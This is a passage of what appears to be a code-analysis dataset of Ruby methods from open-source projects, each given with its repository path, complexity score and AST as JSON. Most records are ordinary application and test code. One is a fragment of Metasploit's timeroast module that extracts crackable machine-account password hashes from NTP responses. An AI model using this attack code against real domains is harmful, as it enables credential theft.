destination_path\"]}]}]}]}]}","id":"e444725c-a1d6-407d-89ee-db80a0199379"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/multiline_block_layout.rb","start_line":106,"raw_source":"def autocorrect(corrector, node)\n          unless args_on_beginning_line?(node)\n            autocorrect_arguments(corrector, node)\n            expr_before_body = node.arguments.source_range.end\n          end\n\n          return unless node.body\n\n          expr_before_body ||= node.loc.begin\n\n          return unless same_line?(expr_before_body, node.body)\n\n          autocorrect_body(corrector, node, node.body)\n        end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"args_on_beginning_line?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"autocorrect_arguments\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expr_before_body\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"arguments\"]},\"source_range\"]},\"end\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"body\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expr_before_body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"begin\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"same_line?\",{\"type\":\"lvar\",\"children\":[\"expr_before_body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"body\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"autocorrect_body\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"body\"]}]}]}]}","id":"a875812f-2cc6-4e85-ad4f-2a07d609b412"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/payment_methods_controller.rb","start_line":43,"raw_source":"def allowed_payment_types\n        # We need to map to strings, otherwise some weird things happen with STI\n        # where Rails can't find the ancestor class when we try to save the payment method.\n        Rails.application.config.spree.payment_methods.map(&:to_s)\n      end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_payment_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"config\"]},\"spree\"]},\"payment_methods\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]}","id":"75417e76-c83b-4134-91c9-1a7071f76bac"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/test/integration_helper.rb","start_line":54,"raw_source":"def installed?\n      return @installed unless @installed.nil?\n      s = server == 'HTTP' ? 'net/http/server' : server\n      require s\n      @installed = true\n    rescue LoadError\n      warn \"#{server} is not installed, skipping integration tests\"\n      @installed = false\n    end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"installed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@installed\"]},\"nil?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@installed\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server\"]},\"==\",{\"type\":\"str\",\"children\":[\"HTTP\"]}]},{\"type\":\"str\",\"children\":[\"net/http/server\"]},{\"type\":\"send\",\"children\":[null,\"server\"]}]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"lvar\",\"children\":[\"s\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@installed\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoadError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server\"]}]},{\"type\":\"str\",\"children\":[\" is not installed, skipping integration tests\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@installed\",{\"type\":\"false\",\"children\":[]}]}]}]},null]}]}","id":"d634e9ab-c259-4517-ab63-ad1a7021b5ea"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/initializers/hashie_mash_permitted_patch.rb","start_line":39,"raw_source":"def method_missing(method_name, *args)\n        if method_name == :permitted?\n          Gitlab::AppLogger.info(message: 'Hashie::Mash#permitted?',\n            caller: Gitlab::BacktraceCleaner.clean_backtrace(caller))\n\n          raise ArgumentError\n        end\n\n        super\n      end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"method_missing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method_name\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"permitted?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]},\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Hashie::Mash#permitted?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"caller\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"BacktraceCleaner\"]},\"clean_backtrace\",{\"type\":\"send\",\"children\":[null,\"caller\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"9661ae31-d715-4dc8-b731-eda18cd3cbaa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/diff_collection.rb","start_line":98,"raw_source":"def collapsed_safe_lines?\n        !!@collapsed_safe_lines\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"collapsed_safe_lines?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@collapsed_safe_lines\"]},\"!\"]},\"!\"]}]}","id":"318b9dce-fc63-4338-8010-1a67c50cebc5"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/inheritance_test.rb","start_line":191,"raw_source":"def test_base_class_activerecord_error\n    assert_raise(ActiveRecord::ActiveRecordError) do\n      Class.new { include ActiveRecord::Inheritance }\n    end\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_base_class_activerecord_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ActiveRecordError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Inheritance\"]}]}]}]}]}","id":"f1095bae-a3c0-4e4d-bc25-e8166bfb2d94"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/middleware/database_selector/resolver.rb","start_line":22,"raw_source":"def self.call(context, options = {})\n          new(context, options)\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"context\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"6cfda5eb-4726-43fe-9838-129d6407d569"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/config.rb","start_line":354,"raw_source":"def read_rails_version_from_bundler_lock_file\n      return nil unless gem_versions_in_target\n\n      # Look for `railties` instead of `rails`, to support apps that only use a subset of `rails`\n      # See https://github.com/rubocop/rubocop/pull/11289\n      rails_version_in_target = gem_versions_in_target['railties']\n      return nil unless rails_version_in_target\n\n      gem_version_to_major_minor_float(rails_version_in_target)\n    end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"read_rails_version_from_bundler_lock_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gem_versions_in_target\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rails_version_in_target\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gem_versions_in_target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"railties\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rails_version_in_target\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"gem_version_to_major_minor_float\",{\"type\":\"lvar\",\"children\":[\"rails_version_in_target\"]}]}]}]}","id":"8aaf0492-1429-4f1a-a090-6b61e62a94ec"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/data_sync/widgets/assignees.rb","start_line":17,"raw_source":"def post_move_cleanup\n          work_item.issue_assignees.each_batch(column: :user_id, of: BATCH_SIZE) do |assignees_batch|\n            assignees_batch.delete_all\n          end\n        end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"post_move_cleanup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_item\"]},\"issue_assignees\"]},\"each_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"assignees_batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assignees_batch\"]},\"delete_all\"]}]}]}","id":"70896ac8-81e0-425b-ab9f-efbd8df20b64"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ntp/timeroast.rb","start_line":116,"raw_source":"def process_response(response)\n    resp_rid = [response.key_identifier].pack('L<').unpack1('L>')\n    message_digest = response.message_digest.pack('C*')\n    salt = response.to_binary_s[0...response.offset_of(response.key_identifier)]\n    hash = \"$sntp-ms$#{message_digest.unpack1('H*')}$#{salt.unpack1('H*')}\"\n\n    print_good(\"Hash for RID: #{resp_rid} - #{resp_rid}:#{hash}\")\n    report_hash(hash)\n  end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"process_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"resp_rid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"key_identifier\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"L<\"]}]},\"unpack1\",{\"type\":\"str\",\"children\":[\"L>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message_digest\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"message_digest\"]},\"pack\",{\"type\":\"str\",\"children\":[\"C*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"salt\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"to_binary_s\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"offset_of\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"key_identifier\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"$sntp-ms$\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_digest\"]},\"unpack1\",{\"type\":\"str\",\"children\":[\"H*\"]}]}]},{\"type\":\"str\",\"children\":[\"$\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"salt\"]},\"unpack1\",{\"type\":\"str\",\"children\":[\"H*\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Hash for RID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp_rid\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp_rid\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_hash\",{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]}","id":"937a521c-c3ba-4cc9-96ca-c13dfb89e6d6"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/drop_test.rb","start_line":207,"raw_source":"def test_enumerable_drop_size\n    assert_equal('3', Liquid::Template.parse('{{collection.size}}').render!('collection' => EnumerableDrop.new))\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_enumerable_drop_size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"3\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"{{collection.size}}\"]}]},\"render!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"collection\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EnumerableDrop\"]},\"new\"]}]}]}]}]}]}","id":"faee15aa-f9c4-4809-9383-47d6c56cff31"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/workers/container_expiration_policies/cleanup_container_repository_worker_spec.rb","start_line":410,"raw_source":"def cleanup_service_response(\n      repository:, status: :finished,\n      cleanup_tags_service_original_size: 100,\n      cleanup_tags_service_before_truncate_size: 80,\n      cleanup_tags_service_after_truncate_size: 80,\n      cleanup_tags_service_before_delete_size: 50,\n      cleanup_tags_service_deleted_size: 50,\n      cleanup_tags_service_cached_tags_count: 0\n    )\n      ServiceResponse.success(\n        message: \"cleanup #{status}\",\n        payload: {\n          cleanup_status: status,\n          container_repository_id: repository.id,\n          cleanup_tags_service_original_size: cleanup_tags_service_original_size,\n          cleanup_tags_service_before_truncate_size: cleanup_tags_service_before_truncate_size,\n          cleanup_tags_service_after_truncate_size: cleanup_tags_service_after_truncate_size,\n          cleanup_tags_service_before_delete_size: cleanup_tags_service_before_delete_size,\n          cleanup_tags_service_cached_tags_count: cleanup_tags_service_cached_tags_count\n        }.compact\n      )\n    end","complexity_score":4.85,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup_service_response\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"repository\"]},{\"type\":\"kwoptarg\",\"children\":[\"status\",{\"type\":\"sym\",\"children\":[\"finished\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"cleanup_tags_service_original_size\",{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"kwoptarg\",\"children\":[\"cleanup_tags_service_before_truncate_size\",{\"type\":\"int\",\"children\":[80]}]},{\"type\":\"kwoptarg\",\"children\":[\"cleanup_tags_service_after_truncate_size\",{\"type\":\"int\",\"children\":[80]}]},{\"type\":\"kwoptarg\",\"children\":[\"cleanup_tags_service_before_delete_size\",{\"type\":\"int\",\"children\":[50]}]},{\"type\":\"kwoptarg\",\"children\":[\"cleanup_tags_service_deleted_size\",{\"type\":\"int\",\"children\":[50]}]},{\"type\":\"kwoptarg\",\"children\":[\"cleanup_tags_service_cached_tags_count\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cleanup \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cleanup_status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_repository_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cleanup_tags_service_original_size\"]},{\"type\":\"lvar\",\"children\":[\"cleanup_tags_service_original_size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cleanup_tags_service_before_truncate_size\"]},{\"type\":\"lvar\",\"children\":[\"cleanup_tags_service_before_truncate_size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cleanup_tags_service_after_truncate_size\"]},{\"type\":\"lvar\",\"children\":[\"cleanup_tags_service_after_truncate_size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cleanup_tags_service_before_delete_size\"]},{\"type\":\"lvar\",\"children\":[\"cleanup_tags_service_before_delete_size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cleanup_tags_service_cached_tags_count\"]},{\"type\":\"lvar\",\"children\":[\"cleanup_tags_service_cached_tags_count\"]}]}]},\"compact\"]}]}]}]}]}","id":"6d3b58a1-3004-48e2-a2c3-d3212038a3b6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/rapid_diffs/viewers/text/inline_view_component.rb","start_line":25,"raw_source":"def total_rows\n          @diff_file.viewer_hunks.sum { |hunk| (hunk.header ? 1 : 0) + hunk.lines.count }\n        end","complexity_score":10.05,"ast_json":"{\"type\":\"def\",\"children\":[\"total_rows\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@diff_file\"]},\"viewer_hunks\"]},\"sum\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hunk\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hunk\"]},\"header\"]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hunk\"]},\"lines\"]},\"count\"]}]}]}]}","id":"dbea17b3-3f98-4e28-b49a-75f4457f2901"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/add_context_service.rb","start_line":25,"raw_source":"def merge_request\n      params[:merge_request]\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"merge_request\"]}]}]}","id":"0531ce73-32d7-4b58-a221-9305f767fa32"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/definition/validator/test_custom_method.rb","start_line":90,"raw_source":"def test_returns_false_if_single_argument_contains_unrecognized_value\n    m = {:name => \"bad_method\", :arguments => \"unknown\", :source => \"source\"}\n    assert_false @subject.valid?(m)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_returns_false_if_single_argument_contains_unrecognized_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"bad_method\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"arguments\"]},{\"type\":\"str\",\"children\":[\"unknown\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"str\",\"children\":[\"source\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_false\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"valid?\",{\"type\":\"lvar\",\"children\":[\"m\"]}]}]}]}]}","id":"e536e1c3-0aa2-4db4-87a3-8478f869b656"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/pre_auth_data_entry.rb","start_line":41,"raw_source":"def encode\n            type_asn1 = OpenSSL::ASN1::ASN1Data.new([encode_type], 1, :CONTEXT_SPECIFIC)\n            value_asn1 = OpenSSL::ASN1::ASN1Data.new([encode_value], 2, :CONTEXT_SPECIFIC)\n            seq = OpenSSL::ASN1::Sequence.new([type_asn1, value_asn1])\n\n            seq.to_der\n          end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"encode\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type_asn1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"ASN1Data\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"encode_type\"]}]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"sym\",\"children\":[\"CONTEXT_SPECIFIC\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value_asn1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"ASN1Data\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"encode_value\"]}]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"sym\",\"children\":[\"CONTEXT_SPECIFIC\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"seq\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"Sequence\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type_asn1\"]},{\"type\":\"lvar\",\"children\":[\"value_asn1\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seq\"]},\"to_der\"]}]}]}","id":"45ecc7b0-8295-4b58-a7ee-071f3e8720a0"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/menu_item.rb","start_line":65,"raw_source":"def is_only_main_item?\n    self.class.main_items(wiki.id) == [self]\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"is_only_main_item?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"main_items\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wiki\"]},\"id\"]}]},\"==\",{\"type\":\"array\",\"children\":[{\"type\":\"self\",\"children\":[]}]}]}]}","id":"9ed5431a-e4aa-40f6-9967-8459ff9c1b49"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/seeders/basic_data/project_phase_definition_seeder.rb","start_line":41,"raw_source":"def model_attributes(phase_data)\n      start_gate_name = phase_data[\"start_gate\"]\n      start_gate = !start_gate_name.nil?\n\n      {\n        name: phase_data[\"name\"],\n        color_id: color_id(phase_data[\"color_name\"]),\n        start_gate:,\n        start_gate_name:\n      }\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"model_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"phase_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_gate_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phase_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"start_gate\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"start_gate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_gate_name\"]},\"nil?\"]},\"!\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phase_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color_id\"]},{\"type\":\"send\",\"children\":[null,\"color_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phase_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"color_name\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_gate\"]},{\"type\":\"lvar\",\"children\":[\"start_gate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_gate_name\"]},{\"type\":\"lvar\",\"children\":[\"start_gate_name\"]}]}]}]}]}","id":"26864155-baa3-4102-a456-a16036ca2261"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/vanilla_mysql.rb","start_line":384,"raw_source":"def import_posts\n    puts \"\", \"importing posts...\"\n\n    total_count = mysql_query(\"SELECT count(*) count FROM #{TABLE_PREFIX}Comment;\").first[\"count\"]\n    @last_post_id = -1\n    batches(BATCH_SIZE) do |offset|\n      comments =\n        mysql_query(\n          \"SELECT CommentID, DiscussionID, Body, Format,\n                DateInserted, InsertUserID, QnA\n         FROM #{TABLE_PREFIX}Comment\n         WHERE CommentID > #{@last_post_id}\n         ORDER BY CommentID ASC\n         LIMIT #{BATCH_SIZE};\",\n        )\n\n      break if comments.size < 1\n      @last_post_id = comments.to_a.last[\"CommentID\"]\n      if all_records_exist? :posts,\n                            comments.map { |comment| \"comment#\" + comment[\"CommentID\"].to_s }\n        next\n      end\n\n      create_posts(comments, total: total_count, offset: offset) do |comment|\n        unless t = topic_lookup_from_imported_post_id(\"discussion#\" + comment[\"DiscussionID\"].to_s)\n          next\n        end\n        next if comment[\"Body\"].blank?\n        user_id =\n          user_id_from_imported_user_id(comment[\"InsertUserID\"]) || 